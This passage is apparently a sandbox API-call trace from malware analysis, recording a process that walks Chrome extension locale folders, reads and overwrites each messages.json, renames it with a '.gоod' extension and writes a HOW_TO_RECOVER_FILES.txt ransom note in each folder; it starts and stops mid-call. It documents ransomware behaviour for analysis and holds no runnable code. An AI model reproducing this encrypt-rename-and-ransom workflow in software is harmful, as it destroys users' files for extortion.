nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0270.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0270.546] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8640cb8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8640bb2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x9d77a306, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x210)) returned 1 [0270.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0270.546] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json.gоod")) returned 1 [0270.547] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0270.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0270.547] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0270.639] GetFileType (hFile=0x86c) returned 0x1 [0270.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0270.639] GetFileType (hFile=0x86c) returned 0x1 [0270.640] WriteFile (in: hFile=0x86c, lpBuffer=0x3815768*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3815768*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0270.640] CloseHandle (hObject=0x86c) returned 1 [0270.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0270.641] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl", lpFilePart=0x0) returned 0x7b [0270.641] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86481e7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8656c48, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8656c48, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a920 [0270.642] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86481e7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8656c48, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8656c48, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.642] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8656c48, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8656b42, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b4c617, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0270.643] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0270.643] FindClose (in: hFindFile=0x134a920 | out: hFindFile=0x134a920) returned 1 [0270.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0270.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0270.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0270.643] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl", lpFilePart=0x0) returned 0x7b [0270.643] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86481e7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8656c48, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8656c48, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b400 [0270.643] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86481e7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8656c48, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8656c48, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.643] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8656c48, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8656b42, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b4c617, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0270.644] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8656c48, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8656b42, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b4c617, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0270.644] FindClose (in: hFindFile=0x134b400 | out: hFindFile=0x134b400) returned 1 [0270.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0270.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0270.644] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json", lpFilePart=0x0) returned 0x89 [0270.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0270.644] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3825738 | out: lpFileInformation=0x3825738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8656c48, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8656b42, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b4c617, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb1)) returned 1 [0270.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0270.645] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json", lpFilePart=0x0) returned 0x89 [0270.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0270.645] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0270.645] GetFileType (hFile=0x86c) returned 0x1 [0270.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0270.645] GetFileType (hFile=0x86c) returned 0x1 [0270.645] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0xb1 [0270.645] ReadFile (in: hFile=0x86c, lpBuffer=0x3825ba8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x3825ba8*, lpNumberOfBytesRead=0x209ebc98*=0xb1, lpOverlapped=0x0) returned 1 [0270.646] CloseHandle (hObject=0x86c) returned 1 [0270.676] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json", lpFilePart=0x0) returned 0x89 [0270.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0270.676] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0270.677] GetFileType (hFile=0x86c) returned 0x1 [0270.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0270.677] GetFileType (hFile=0x86c) returned 0x1 [0270.677] WriteFile (in: hFile=0x86c, lpBuffer=0x389d700*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x389d700*, lpNumberOfBytesWritten=0x209ebba8*=0xc0, lpOverlapped=0x0) returned 1 [0270.677] CloseHandle (hObject=0x86c) returned 1 [0270.677] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json", lpFilePart=0x0) returned 0x89 [0270.678] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0270.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0270.678] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8656c48, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8656b42, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x9d8b92a9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0270.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0270.678] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json.gоod")) returned 1 [0270.876] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0270.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0270.876] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0270.877] GetFileType (hFile=0x86c) returned 0x1 [0270.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0270.877] GetFileType (hFile=0x86c) returned 0x1 [0270.878] WriteFile (in: hFile=0x86c, lpBuffer=0x37d1b38*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x37d1b38*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0270.878] CloseHandle (hObject=0x86c) returned 1 [0270.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0270.879] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no", lpFilePart=0x0) returned 0x7b [0270.879] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8660880, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8667dbb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8667dbb, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0270.880] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8660880, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8667dbb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8667dbb, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.880] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8667dbb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8667cb2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0270.880] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0270.880] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0270.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0270.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0270.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0270.880] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no", lpFilePart=0x0) returned 0x7b [0270.880] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8660880, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8667dbb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8667dbb, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0270.881] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8660880, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8667dbb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8667dbb, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.881] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8667dbb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8667cb2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0270.881] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8667dbb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8667cb2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0270.881] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0270.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0270.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0270.881] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: 